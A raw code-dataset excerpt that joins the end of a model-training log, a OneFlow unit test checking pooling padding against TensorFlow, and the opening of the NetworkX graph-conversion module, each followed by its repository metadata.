| loss: 0.65427 - acc: 0.6323 -- iter: 4032/5512\n# Training Step: 325  | total loss: 0.65553 | time: 0.211s\n# | Adam | epoch: 004 | loss: 0.65553 - acc: 0.6284 -- iter: 4096/5512\n# Training Step: 326  | total loss: 0.65860 | time: 0.214s\n# | Adam | epoch: 004 | loss: 0.65860 - acc: 0.6234 -- iter: 4160/5512\n# Training Step: 327  | total loss: 0.65795 | time: 0.217s\n# | Adam | epoch: 004 | loss: 0.65795 - acc: 0.6220 -- iter: 4224/5512\n# Training Step: 328  | total loss: 0.65895 | time: 0.221s\n# | Adam | epoch: 004 | loss: 0.65895 - acc: 0.6223 -- iter: 4288/5512\n# Training Step: 329  | total loss: 0.65604 | time: 0.224s\n# | Adam | epoch: 004 | loss: 0.65604 - acc: 0.6288 -- iter: 4352/5512\n# Training Step: 330  | total loss: 0.66231 | time: 0.227s\n# | Adam | epoch: 004 | loss: 0.66231 - acc: 0.6097 -- iter: 4416/5512\n# Training Step: 331  | total loss: 0.66406 | time: 0.230s\n# | Adam | epoch: 004 | loss: 0.66406 - acc: 0.6081 -- iter: 4480/5512\n# Training Step: 332  | total loss: 0.65884 | time: 0.233s\n# | Adam | epoch: 004 | loss: 0.65884 - acc: 0.6145 -- iter: 4544/5512\n# Training Step: 333  | total loss: 0.65997 | time: 0.236s\n# | Adam | epoch: 004 | loss: 0.65997 - acc: 0.6077 -- iter: 4608/5512\n# Training Step: 334  | total loss: 0.66127 | time: 0.239s\n# | Adam | epoch: 004 | loss: 0.66127 - acc: 0.6047 -- iter: 4672/5512\n# Training Step: 335  | total loss: 0.65372 | time: 0.242s\n# | Adam | epoch: 004 | loss: 0.65372 - acc: 0.6177 -- iter: 4736/5512\n# Training Step: 336  | total loss: 0.65475 | time: 0.245s\n# | Adam | epoch: 004 | loss: 0.65475 - acc: 0.6184 -- iter: 4800/5512\n# Training Step: 337  | total loss: 0.65335 | time: 0.248s\n# | Adam | epoch: 004 | loss: 0.65335 - acc: 0.6222 -- iter: 4864/5512\n# Training Step: 338  | total loss: 0.65572 | time: 0.252s\n# | Adam | epoch: 004 | loss: 0.65572 - acc: 0.6194 -- iter: 4928/5512\n# Training Step: 339  | total loss: 0.65195 | time: 0.255s\n# | Adam | epoch: 004 | loss: 0.65195 - acc: 0.6262 -- iter: 4992/5512\n# Training Step: 340  | total loss: 0.65642 | time: 0.257s\n# | Adam | epoch: 004 | loss: 0.65642 - acc: 0.6183 -- iter: 5056/5512\n# Training Step: 341  | total loss: 0.65517 | time: 0.261s\n# | Adam | epoch: 004 | loss: 0.65517 - acc: 0.6174 -- iter: 5120/5512\n# Training Step: 342  | total loss: 0.65516 | time: 0.264s\n# | Adam | epoch: 004 | loss: 0.65516 - acc: 0.6213 -- iter: 5184/5512\n# Training Step: 343  | total loss: 0.65658 | time: 0.267s\n# | Adam | epoch: 004 | loss: 0.65658 - acc: 0.6169 -- iter: 5248/5512\n# Training Step: 344  | total loss: 0.65516 | time: 0.270s\n# | Adam | epoch: 004 | loss: 0.65516 - acc: 0.6146 -- iter: 5312/5512\n# Training Step: 345  | total loss: 0.64986 | time: 0.274s\n# | Adam | epoch: 004 | loss: 0.64986 - acc: 0.6235 -- iter: 5376/5512\n# Training Step: 346  | total loss: 0.65448 | time: 0.277s\n# | Adam | epoch: 004 | loss: 0.65448 - acc: 0.6158 -- iter: 5440/5512\n# Training Step: 347  | total loss: 0.65118 | time: 0.280s\n# | Adam | epoch: 004 | loss: 0.65118 - acc: 0.6199 -- iter: 5504/5512\n# Training Step: 348  | total loss: 0.64946 | time: 0.284s\n# | Adam | epoch: 004 | loss: 0.64946 - acc: 0.6172 -- iter: 5512/5512\n# --\n# Training Step: 349  | total loss: 0.64597 | time: 0.003s\n# | Adam | epoch: 005 | loss: 0.64597 - acc: 0.6227 -- iter: 0064/5512\n# Training Step: 350  | total loss: 0.64528 | time: 0.007s\n# | Adam | epoch: 005 | loss: 0.64528 - acc: 0.6292 -- iter: 0128/5512\n# Training Step: 351  | total loss: 0.64507 | time: 0.010s\n# | Adam | epoch: 005 | loss: 0.64507 - acc: 0.6288 -- iter: 0192/5512\n# Training Step: 352  | total loss: 0.63700 | time: 0.014s\n# | Adam | epoch: 005 | loss: 0.63700 - acc: 0.6409 -- iter: 0256/5512\n# Training Step: 353  | total loss: 0.62811 | time: 0.017s\n# | Adam | epoch: 005 | loss: 0.62811 - acc: 0.6518 -- iter: 0320/5512\n# Training Step: 354  | total loss: 0.62648 | time: 0.020s\n# | Adam | epoch: 005 | loss: 0.62648 - acc: 0.6569 -- iter: 0384/5512\n# Training Step: 355  | total loss: 0.62751 | time: 0.023s\n# | Adam | epoch: 005 | loss: 0.62751 - acc: 0.6506 -- iter: 0448/5512\n# Training Step: 356  | total loss: 0.62430 | time: 0.027s\n# | Adam | epoch: 005 | loss: 0.62430 - acc: 0.6512 -- iter: 0512/5512\n# Training Step: 357  | total loss: 0.62206 | time: 0.032s\n# | Adam | epoch: 005 | loss: 0.62206 - acc: 0.6564 -- iter: 0576/5512\n# Training Step: 358  | total loss: 0.62277 | time: 0.035s\n# | Adam | epoch: 005 | loss: 0.62277 - acc: 0.6564 -- iter: 0640/5512\n# Training Step: 359  | total loss: 0.63548 | time: 0.039s\n# | Adam | epoch: 005 | loss: 0.63548 - acc: 0.6517 -- iter: 0704/5512\n# Training Step: 360  | total loss: 0.64245 | time: 0.044s\n# | Adam | epoch: 005 | loss: 0.64245 - acc: 0.6427 -- iter: 0768/5512\n# Training Step: 361  | total loss: 0.65183 | time: 0.047s\n# | Adam | epoch: 005 | loss: 0.65183 - acc: 0.6347 -- iter: 0832/5512\n# Training Step: 362  | total loss: 0.65270 | time: 0.050s\n# | Adam | epoch: 005 | loss: 0.65270 - acc: 0.6353 -- iter: 0896/5512\n# Training Step: 363  | total loss: 0.65279 | time: 0.054s\n# | Adam | epoch: 005 | loss: 0.65279 - acc: 0.6327 -- iter: 0960/5512\n# Training Step: 364  | total loss: 0.65321 | time: 0.057s\n# | Adam | epoch: 005 | loss: 0.65321 - acc: 0.6366 -- iter: 1024/5512\n# Training Step: 365  | total loss: 0.66367 | time: 0.060s\n# | Adam | epoch: 005 | loss: 0.66367 - acc: 0.6198 -- iter: 1088/5512\n# Training Step: 366  | total loss: 0.66345 | time: 0.064s\n# | Adam | epoch: 005 | loss: 0.66345 - acc: 0.6110 -- iter: 1152/5512\n# Training Step: 367  | total loss: 0.66021 | time: 0.067s\n# | Adam | epoch: 005 | loss: 0.66021 - acc: 0.6171 -- iter: 1216/5512\n# Training Step: 368  | total loss: 0.66326 | time: 0.070s\n# | Adam | epoch: 005 | loss: 0.66326 - acc: 0.6069 -- iter: 1280/5512\n# Training Step: 369  | total loss: 0.66797 | time: 0.073s\n# | Adam | epoch: 005 | loss: 0.66797 - acc: 0.5962 -- iter: 1344/5512\n# Training Step: 370  | total loss: 0.66604 | time: 0.078s\n# | Adam | epoch: 005 | loss: 0.66604 - acc: 0.6038 -- iter: 1408/5512\n# Training Step: 371  | total loss: 0.66236 | time: 0.081s\n# | Adam | epoch: 005 | loss: 0.66236 - acc: 0.6059 -- iter: 1472/5512\n# Training Step: 372  | total loss: 0.66029 | time: 0.084s\n# | Adam | epoch: 005 | loss: 0.66029 - acc: 0.6110 -- iter: 1536/5512\n# Training Step: 373  | total loss: 0.66019 | time: 0.088s\n# | Adam | epoch: 005 | loss: 0.66019 - acc: 0.6186 -- iter: 1600/5512\n# Training Step: 374  | total loss: 0.66188 | time: 0.091s\n# | Adam | epoch: 005 | loss: 0.66188 - acc: 0.6114 -- iter: 1664/5512\n# Training Step: 375  | total loss: 0.65938 | time: 0.094s\n# | Adam | epoch: 005 | loss: 0.65938 - acc: 0.6190 -- iter: 1728/5512\n# Training Step: 376  | total loss: 0.66334 | time: 0.097s\n# | Adam | epoch: 005 | loss: 0.66334 - acc: 0.6181 -- iter: 1792/5512\n# Training Step: 377  | total loss: 0.66707 | time: 0.101s\n# | Adam | epoch: 005 | loss: 0.66707 - acc: 0.6094 -- iter: 1856/5512\n# Training Step: 378  | total loss: 0.66692 | time: 0.104s\n# | Adam | epoch: 005 | loss: 0.66692 - acc: 0.6156 -- iter: 1920/5512\n# Training Step: 379  | total loss: 0.66817 | time: 0.107s\n# | Adam | epoch: 005 | loss: 0.66817 - acc: 0.6056 -- iter: 1984/5512\n# Training Step: 380  | total loss: 0.66938 | time: 0.111s\n# | Adam | epoch: 005 | loss: 0.66938 - acc: 0.5966 -- iter: 2048/5512\n# Training Step: 381  | total loss: 0.67355 | time: 0.114s\n# | Adam | epoch: 005 | loss: 0.67355 - acc: 0.5948 -- iter: 2112/5512\n# Training Step: 382  | total loss: 0.66896 | time: 0.117s\n# | Adam | epoch: 005 | loss: 0.66896 - acc: 0.6041 -- iter: 2176/5512\n# Training Step: 383  | total loss: 0.67033 | time: 0.121s\n# | Adam | epoch: 005 | loss: 0.67033 - acc: 0.6030 -- iter: 2240/5512\n# Training Step: 384  | total loss: 0.66802 | time: 0.124s\n# | Adam | epoch: 005 | loss: 0.66802 - acc: 0.6068 -- iter: 2304/5512\n# Training Step: 385  | total loss: 0.67373 | time: 0.127s\n# | Adam | epoch: 005 | loss: 0.67373 - acc: 0.5945 -- iter: 2368/5512\n# Training Step: 386  | total loss: 0.67146 | time: 0.130s\n# | Adam | epoch: 005 | loss: 0.67146 - acc: 0.6023 -- iter: 2432/5512\n# Training Step: 387  | total loss: 0.66870 | time: 0.133s\n# | Adam | epoch: 005 | loss: 0.66870 - acc: 0.6092 -- iter: 2496/5512\n# Training Step: 388  | total loss: 0.67079 | time: 0.136s\n# | Adam | epoch: 005 | loss: 0.67079 - acc: 0.6061 -- iter: 2560/5512\n# Training Step: 389  | total loss: 0.67050 | time: 0.139s\n# | Adam | epoch: 005 | loss: 0.67050 - acc: 0.6080 -- iter: 2624/5512\n# Training Step: 390  | total loss: 0.66709 | time: 0.142s\n# | Adam | epoch: 005 | loss: 0.66709 - acc: 0.6175 -- iter: 2688/5512\n# Training Step: 391  | total loss: 0.67061 | time: 0.146s\n# | Adam | epoch: 005 | loss: 0.67061 - acc: 0.6120 -- iter: 2752/5512\n# Training Step: 392  | total loss: 0.67028 | time: 0.149s\n# | Adam | epoch: 005 | loss: 0.67028 - acc: 0.6118 -- iter: 2816/5512\n# Training Step: 393  | total loss: 0.66663 | time: 0.152s\n# | Adam | epoch: 005 | loss: 0.66663 - acc: 0.6209 -- iter: 2880/5512\n# Training Step: 394  | total loss: 0.66807 | time: 0.155s\n# | Adam | epoch: 005 | loss: 0.66807 - acc: 0.6135 -- iter: 2944/5512\n# Training Step: 395  | total loss: 0.66797 | time: 0.158s\n# | Adam | epoch: 005 | loss: 0.66797 - acc: 0.6131 -- iter: 3008/5512\n# Training Step: 396  | total loss: 0.67227 | time: 0.161s\n# | Adam | epoch: 005 | loss: 0.67227 - acc: 0.6033 -- iter: 3072/5512\n# Training Step: 397  | total loss: 0.67342 | time: 0.164s\n# | Adam | epoch: 005 | loss: 0.67342 - acc: 0.6024 -- iter: 3136/5512\n# Training Step: 398  | total loss: 0.66957 | time: 0.167s\n# | Adam | epoch: 005 | loss: 0.66957 - acc: 0.6062 -- iter: 3200/5512\n# Training Step: 399  | total loss: 0.66786 | time: 0.170s\n# | Adam | epoch: 005 | loss: 0.66786 - acc: 0.6050 -- iter: 3264/5512\n# Training Step: 400  | total loss: 0.66379 | time: 0.173s\n# | Adam | epoch: 005 | loss: 0.66379 - acc: 0.6070 -- iter: 3328/5512\n# Training Step: 401  | total loss: 0.66387 | time: 0.176s\n# | Adam | epoch: 005 | loss: 0.66387 - acc: 0.6056 -- iter: 3392/5512\n# Training Step: 402  | total loss: 0.66296 | time: 0.179s\n# | Adam | epoch: 005 | loss: 0.66296 - acc: 0.6107 -- iter: 3456/5512\n# Training Step: 403  | total loss: 0.66129 | time: 0.182s\n# | Adam | epoch: 005 | loss: 0.66129 - acc: 0.6168 -- iter: 3520/5512\n# Training Step: 404  | total loss: 0.65812 | time: 0.185s\n# | Adam | epoch: 005 | loss: 0.65812 - acc: 0.6223 -- iter: 3584/5512\n# Training Step: 405  | total loss: 0.66319 | time: 0.189s\n# | Adam | epoch: 005 | loss: 0.66319 - acc: 0.6163 -- iter: 3648/5512\n# Training Step: 406  | total loss: 0.66483 | time: 0.192s\n# | Adam | epoch: 005 | loss: 0.66483 - acc: 0.6172 -- iter: 3712/5512\n# Training Step: 407  | total loss: 0.66722 | time: 0.195s\n# | Adam | epoch: 005 | loss: 0.66722 - acc: 0.6102 -- iter: 3776/5512\n# Training Step: 408  | total loss: 0.66185 | time: 0.198s\n# | Adam | epoch: 005 | loss: 0.66185 - acc: 0.6210 -- iter: 3840/5512\n# Training Step: 409  | total loss: 0.65358 | time: 0.201s\n# | Adam | epoch: 005 | loss: 0.65358 - acc: 0.6339 -- iter: 3904/5512\n# Training Step: 410  | total loss: 0.65650 | time: 0.204s\n# | Adam | epoch: 005 | loss: 0.65650 - acc: 0.6315 -- iter: 3968/5512\n# Training Step: 411  | total loss: 0.65247 | time: 0.207s\n# | Adam | epoch: 005 | loss: 0.65247 - acc: 0.6371 -- iter: 4032/5512\n# Training Step: 412  | total loss: 0.65126 | time: 0.210s\n# | Adam | epoch: 005 | loss: 0.65126 - acc: 0.6374 -- iter: 4096/5512\n# Training Step: 413  | total loss: 0.64842 | time: 0.213s\n# | Adam | epoch: 005 | loss: 0.64842 - acc: 0.6378 -- iter: 4160/5512\n# Training Step: 414  | total loss: 0.64902 | time: 0.217s\n# | Adam | epoch: 005 | loss: 0.64902 - acc: 0.6365 -- iter: 4224/5512\n# Training Step: 415  | total loss: 0.64961 | time: 0.220s\n# | Adam | epoch: 005 | loss: 0.64961 - acc: 0.6322 -- iter: 4288/5512\n# Training Step: 416  | total loss: 0.65951 | time: 0.223s\n# | Adam | epoch: 005 | loss: 0.65951 - acc: 0.6205 -- iter: 4352/5512\n# Training Step: 417  | total loss: 0.65415 | time: 0.226s\n# | Adam | epoch: 005 | loss: 0.65415 - acc: 0.6304 -- iter: 4416/5512\n# Training Step: 418  | total loss: 0.65699 | time: 0.230s\n# | Adam | epoch: 005 | loss: 0.65699 - acc: 0.6267 -- iter: 4480/5512\n# Training Step: 419  | total loss: 0.66122 | time: 0.233s\n# | Adam | epoch: 005 | loss: 0.66122 - acc: 0.6203 -- iter: 4544/5512\n# Training Step: 420  | total loss: 0.66241 | time: 0.238s\n# | Adam | epoch: 005 | loss: 0.66241 - acc: 0.6223 -- iter: 4608/5512\n# Training Step: 421  | total loss: 0.65723 | time: 0.242s\n# | Adam | epoch: 005 | loss: 0.65723 - acc: 0.6288 -- iter: 4672/5512\n# Training Step: 422  | total loss: 0.65953 | time: 0.245s\n# | Adam | epoch: 005 | loss: 0.65953 - acc: 0.6285 -- iter: 4736/5512\n# Training Step: 423  | total loss: 0.65940 | time: 0.251s\n# | Adam | epoch: 005 | loss: 0.65940 - acc: 0.6281 -- iter: 4800/5512\n# Training Step: 424  | total loss: 0.65555 | time: 0.254s\n# | Adam | epoch: 005 | loss: 0.65555 - acc: 0.6294 -- iter: 4864/5512\n# Training Step: 425  | total loss: 0.65651 | time: 0.258s\n# | Adam | epoch: 005 | loss: 0.65651 - acc: 0.6274 -- iter: 4928/5512\n# Training Step: 426  | total loss: 0.65770 | time: 0.262s\n# | Adam | epoch: 005 | loss: 0.65770 - acc: 0.6209 -- iter: 4992/5512\n# Training Step: 427  | total loss: 0.65514 | time: 0.267s\n# | Adam | epoch: 005 | loss: 0.65514 - acc: 0.6275 -- iter: 5056/5512\n# Training Step: 428  | total loss: 0.65402 | time: 0.271s\n# | Adam | epoch: 005 | loss: 0.65402 - acc: 0.6242 -- iter: 5120/5512\n# Training Step: 429  | total loss: 0.65111 | time: 0.274s\n# | Adam | epoch: 005 | loss: 0.65111 - acc: 0.6242 -- iter: 5184/5512\n# Training Step: 430  | total loss: 0.65092 | time: 0.277s\n# | Adam | epoch: 005 | loss: 0.65092 - acc: 0.6228 -- iter: 5248/5512\n# Training Step: 431  | total loss: 0.65469 | time: 0.282s\n# | Adam | epoch: 005 | loss: 0.65469 - acc: 0.6214 -- iter: 5312/5512\n# Training Step: 432  | total loss: 0.65545 | time: 0.286s\n# | Adam | epoch: 005 | loss: 0.65545 - acc: 0.6280 -- iter: 5376/5512\n# Training Step: 433  | total loss: 0.65564 | time: 0.290s\n# | Adam | epoch: 005 | loss: 0.65564 - acc: 0.6277 -- iter: 5440/5512\n# Training Step: 434  | total loss: 0.65631 | time: 0.293s\n# | Adam | epoch: 005 | loss: 0.65631 - acc: 0.6196 -- iter: 5504/5512\n# Training Step: 435  | total loss: 0.65775 | time: 0.297s\n# | Adam | epoch: 005 | loss: 0.65775 - acc: 0.6170 -- iter: 5512/5512\n# --\n# Predicted Games Score Avg --> 199.0\n# \n# Process finished with exit code 0\n# \n# \n# ```\n", "meta": {"hexsha": "bb1145a830d1dd0bcf55c67d23dc45e08c954aa2", "size": 77144, "ext": "py", "lang": "Python", "max_stars_repo_path": "Assignment_E.py", "max_stars_repo_name": "MijazzChan/AistudioCodeBackup", "max_stars_repo_head_hexsha": "ea3976d444b66fc836774a1d847f0209f2c388ac", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Assignment_E.py", "max_issues_repo_name": "MijazzChan/AistudioCodeBackup", "max_issues_repo_head_hexsha": "ea3976d444b66fc836774a1d847f0209f2c388ac", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Assignment_E.py", "max_forks_repo_name": "MijazzChan/AistudioCodeBackup", "max_forks_repo_head_hexsha": "ea3976d444b66fc836774a1d847f0209f2c388ac", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 64.2866666667, "max_line_length": 282, "alphanum_fraction": 0.6591050503, "include": true, "reason": "import numpy,from numpy", "num_tokens": 31888, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167645017354, "lm_q2_score": 0.11279541373888334, "lm_q1q2_score": 0.05200057669253459}}
{"text": "\"\"\"\nCopyright 2020 The OneFlow Authors. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport collections\nimport os\nimport unittest\nfrom collections import OrderedDict\n\nimport numpy as np\nimport tensorflow as tf\nfrom test_util import GenArgList, type_name_to_flow_type, type_name_to_np_type\n\nimport oneflow.compatible.single_client.unittest\nfrom oneflow.compatible import single_client as flow\nfrom oneflow.compatible.single_client import typing as oft\n\ngpus = tf.config.experimental.list_physical_devices(\"GPU\")\nfor gpu in gpus:\n    tf.config.experimental.set_memory_growth(gpu, True)\npool_confs = [\n    {\n        \"x_shape\": (1, 1, 10, 10),\n        \"ksize\": 2,\n        \"strides\": 1,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NCHW\",\n    },\n    {\n        \"x_shape\": (1, 3, 7, 7),\n        \"ksize\": 3,\n        \"strides\": 2,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NCHW\",\n    },\n    {\n        \"x_shape\": (1, 7, 7, 3),\n        \"ksize\": 3,\n        \"strides\": 2,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NHWC\",\n    },\n    {\n        \"x_shape\": (1, 5, 6, 6),\n        \"ksize\": 3,\n        \"strides\": 2,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NCHW\",\n    },\n    {\n        \"x_shape\": (1, 7, 5, 5),\n        \"ksize\": 3,\n        \"strides\": 2,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NCHW\",\n    },\n    {\n        \"x_shape\": (1, 3, 12, 12),\n        \"ksize\": 2,\n        \"strides\": 1,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NCHW\",\n    },\n    {\n        \"x_shape\": (1, 1, 11, 11),\n        \"ksize\": 3,\n        \"strides\": 2,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NCHW\",\n    },\n    {\n        \"x_shape\": (1, 10, 10, 1),\n        \"ksize\": 3,\n        \"strides\": 2,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NHWC\",\n    },\n    {\n        \"x_shape\": (1, 1, 10, 10, 10),\n        \"ksize\": 2,\n        \"strides\": 2,\n        \"padding\": \"VALID\",\n        \"data_format\": \"NCDHW\",\n    },\n    {\n        \"x_shape\": (1, 7, 5, 5, 5),\n        \"ksize\": 3,\n        \"strides\": 1,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NCDHW\",\n    },\n    {\n        \"x_shape\": (1, 5, 5, 5, 7),\n        \"ksize\": 3,\n        \"strides\": 2,\n        \"padding\": \"VALID\",\n        \"data_format\": \"NDHWC\",\n    },\n    {\n        \"x_shape\": (1, 3, 3, 3, 3),\n        \"ksize\": 2,\n        \"strides\": 1,\n        \"padding\": \"SAME\",\n        \"data_format\": \"NCDHW\",\n    },\n]\n\n\ndef _GetSequence(value, n, name):\n    \"\"\"Formats value from input\"\"\"\n    if value is None:\n        value = [1]\n    elif not isinstance(value, collections.Sized):\n        value = [value]\n    current_n = len(value)\n    if current_n == 1:\n        return list(value * n)\n    elif current_n == n:\n        return list(value)\n    else:\n        raise ValueError(\n            \"{} should be of length 1 or {} but was {}\".format(name, n, current_n)\n        )\n\n\n@flow.unittest.skip_unless_1n1d()\nclass TestPoolPadding(flow.unittest.TestCase):\n    def test_pool(_):\n        arg_dict = OrderedDict()\n        arg_dict[\"device_type\"] = [\"gpu\", \"cpu\"]\n        arg_dict[\"pool_conf\"] = pool_confs\n        arg_dict[\"data_type\"] = [\"float32\"]\n        arg_dict[\"pooling_type\"] = [\"AVG\", \"MAX\"]\n        arg_dict[\"is_dynamic\"] = [True, False]\n        for case in GenArgList(arg_dict):\n            (device_type, pool_conf, data_type, pooling_type, is_dynamic) = case\n            x_shape = pool_conf[\"x_shape\"]\n            ksize = pool_conf[\"ksize\"]\n            strides = pool_conf[\"strides\"]\n            padding = pool_conf[\"padding\"]\n            data_format = pool_conf[\"data_format\"]\n            if os.getenv(\"ONEFLOW_TEST_CPU_ONLY\") and data_format != \"NHWC\":\n                continue\n            flow.clear_default_session()\n            x = np.random.randn(*x_shape).astype(type_name_to_np_type[data_type])\n            dim = len(x.shape) - 2\n            if dim == 3 and data_format == \"NDHWC\":\n                continue\n            with tf.GradientTape(persistent=True) as tape:\n                x_tf = tf.Variable(x)\n                strides = _GetSequence(strides, dim, \"strides\")\n                pooling_f = None\n                if pooling_type == \"AVG\":\n                    pooling_f = getattr(tf.nn, \"avg_pool{}d\".format(dim))\n                elif pooling_type == \"MAX\":\n                    pooling_f = getattr(tf.nn, \"max_pool{}d\".format(dim))\n                else:\n                    raise ValueError(\"pooling_type must be AVG or MAX\")\n                y_tf = pooling_f(x_tf, ksize, strides, padding, data_format=data_format)\n            dx_tf = tape.gradient(y_tf, x_tf, tf.constant(1.0, shape=y_tf.shape))\n\n            def assert_grad(b):\n                if b.is_dynamic:\n                    b_ndarray = b.numpy_list()[0]\n                else:\n                    b_ndarray = b.numpy()\n                assert np.allclose(dx_tf.numpy(), b_ndarray), (\n                    case,\n                    dx_tf.numpy(),\n                    b_ndarray,\n                )\n\n            dtype = type_name_to_flow_type[data_type]\n            func_config = flow.FunctionConfig()\n            func_config.default_data_type(flow.float)\n            tensor_def = None\n            if is_dynamic:\n                func_config.default_logical_view(flow.scope.mirrored_view())\n                tensor_def = oft.ListNumpy.Placeholder\n            else:\n                tensor_def = oft.Numpy.Placeholder\n\n            @flow.global_function(type=\"train\", function_config=func_config)\n            def pooling_job(x: tensor_def(x_shape, dtype=dtype)):\n                v = flow.get_variable(\n                    \"x\",\n                    shape=x_shape,\n                    dtype=dtype,\n                    initializer=flow.constant_initializer(0),\n                    trainable=True,\n                )\n                v = flow.cast_to_current_logical_view(v)\n                flow.watch_diff(v, assert_grad)\n                x += v\n                with flow.scope.placement(device_type, \"0:0\"):\n                    pooling_f = None\n                    if pooling_type == \"AVG\":\n                        pooling_f = getattr(flow.nn, \"avg_pool{}d\".format(dim))\n                    elif pooling_type == \"MAX\":\n                        pooling_f = getattr(flow.nn, \"max_pool{}d\".format(dim))\n                    else:\n                        raise ValueError(\"pooling_type must be AVG or MAX\")\n                    padding = pool_conf[\"padding\"]\n                    if padding == \"SAME\":\n                        padding = \"SAME_UPPER\"\n                    y = pooling_f(\n                        x,\n                        ksize=ksize,\n                        strides=strides,\n                        padding=padding,\n                        data_format=data_format,\n                    )\n                flow.optimizer.SGD(\n                    flow.optimizer.PiecewiseConstantScheduler([], [0.0001]), momentum=0\n                ).minimize(y)\n                return y\n\n            if is_dynamic:\n                x = [x]\n            y = pooling_job(x).get()\n            y_ndarray = None\n            if is_dynamic:\n                y_ndarray = y.numpy_list()[0]\n            else:\n                y_ndarray = y.numpy()\n            assert y_ndarray.shape == y_tf.numpy().shape, (\n                y_ndarray.shape,\n                y_tf.numpy().shape,\n            )\n            assert np.allclose(y_ndarray, y_tf.numpy(), rtol=1e-05, atol=1e-05), (\n                case,\n                y_ndarray - y_tf.numpy(),\n            )\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "6b24b8e6cce09a14f0388333befee832aedcb104", "size": 7997, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/oneflow/compatible/single_client/test/ops/test_pool_padding.py", "max_stars_repo_name": "wangyuyue/oneflow", "max_stars_repo_head_hexsha": "0a71c22fe8355392acc8dc0e301589faee4c4832", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 3285, "max_stars_repo_stars_event_min_datetime": "2020-07-31T05:51:22.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T15:20:16.000Z", "max_issues_repo_path": "python/oneflow/compatible/single_client/test/ops/test_pool_padding.py", "max_issues_repo_name": "wangyuyue/oneflow", "max_issues_repo_head_hexsha": "0a71c22fe8355392acc8dc0e301589faee4c4832", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2417, "max_issues_repo_issues_event_min_datetime": "2020-07-31T06:28:58.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T23:04:14.000Z", "max_forks_repo_path": "python/oneflow/compatible/single_client/test/ops/test_pool_padding.py", "max_forks_repo_name": "wangyuyue/oneflow", "max_forks_repo_head_hexsha": "0a71c22fe8355392acc8dc0e301589faee4c4832", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 520, "max_forks_repo_forks_event_min_datetime": "2020-07-31T05:52:42.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T02:38:11.000Z", "avg_line_length": 31.988, "max_line_length": 88, "alphanum_fraction": 0.5074402901, "include": true, "reason": "import numpy", "num_tokens": 1959, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.11279540031810142, "lm_q1q2_score": 0.05200057217589449}}
{"text": "\"\"\"\nThis module provides functions to convert \nNetworkX graphs to and from other formats.\n\nThe preferred way of converting data to a NetworkX graph \nis through the graph constuctor.  The constructor calls\nthe to_networkx_graph() function which attempts to guess the\ninput type and convert it automatically.\n\nExamples\n--------\n\nCreate a 10 node random graph from a numpy matrix\n\n>>> import numpy\n>>> a=numpy.reshape(numpy.random.random_integers(0,1,size=100),(10,10))\n>>> D=nx.DiGraph(a) \n\nor equivalently\n\n>>> D=nx.to_networkx_graph(a,create_using=nx.DiGraph()) \n\nCreate a graph with a single edge from a dictionary of dictionaries\n\n>>> d={0: {1: 1}} # dict-of-dicts single edge (0,1)\n>>> G=nx.Graph(d)\n\n\nSee Also\n--------\nnx_pygraphviz, nx_pydot\n\n\"\"\"\n__author__ = \"\"\"\\n\"\"\".join(['Aric Hagberg (hagberg@lanl.gov)',\n                           'Pieter Swart (swart@lanl.gov)',\n                           'Dan Schult(dschult@colgate.edu)'])\n#    Copyright (C) 2006-2011 by \n#    Aric Hagberg <hagberg@lanl.gov>\n#    Dan Schult <dschult@colgate.edu>\n#    Pieter Swart <swart@lanl.gov>\n#    All rights reserved.\n#    BSD license.\n\nimport warnings\nimport networkx as nx\n\n__all__ = ['to_networkx_graph',\n           'from_dict_of_dicts', 'to_dict_of_dicts',\n           'from_dict_of_lists', 'to_dict_of_lists',\n           'from_edgelist', 'to_edgelist',\n           'from_numpy_matrix', 'to_numpy_matrix',\n           'to_numpy_recarray',\n           'from_scipy_sparse_matrix', 'to_scipy_sparse_matrix']\n\ndef _prep_create_using(create_using):\n    \"\"\"Return a graph object ready to be populated.\n\n    If create_using is None return the default (just networkx.Graph())\n    If create_using.clear() works, assume it returns a graph object.\n    Otherwise raise an exception because create_using is not a networkx graph.\n\n    \"\"\"\n    if create_using is None:\n        G=nx.Graph()\n    else:\n        G=create_using\n        try:\n            G.clear()\n        except:\n            raise TypeError(\"Input graph is not a networkx graph type\")\n    return G\n\ndef to_networkx_graph(data,create_using=None,multigraph_input=False):\n    \"\"\"Make a NetworkX graph from a known data structure.\n\n    The preferred way to call this is automatically\n    from the class constructor\n\n    >>> d={0: {1: {'weight':1}}} # dict-of-dicts single edge (0,1)\n    >>> 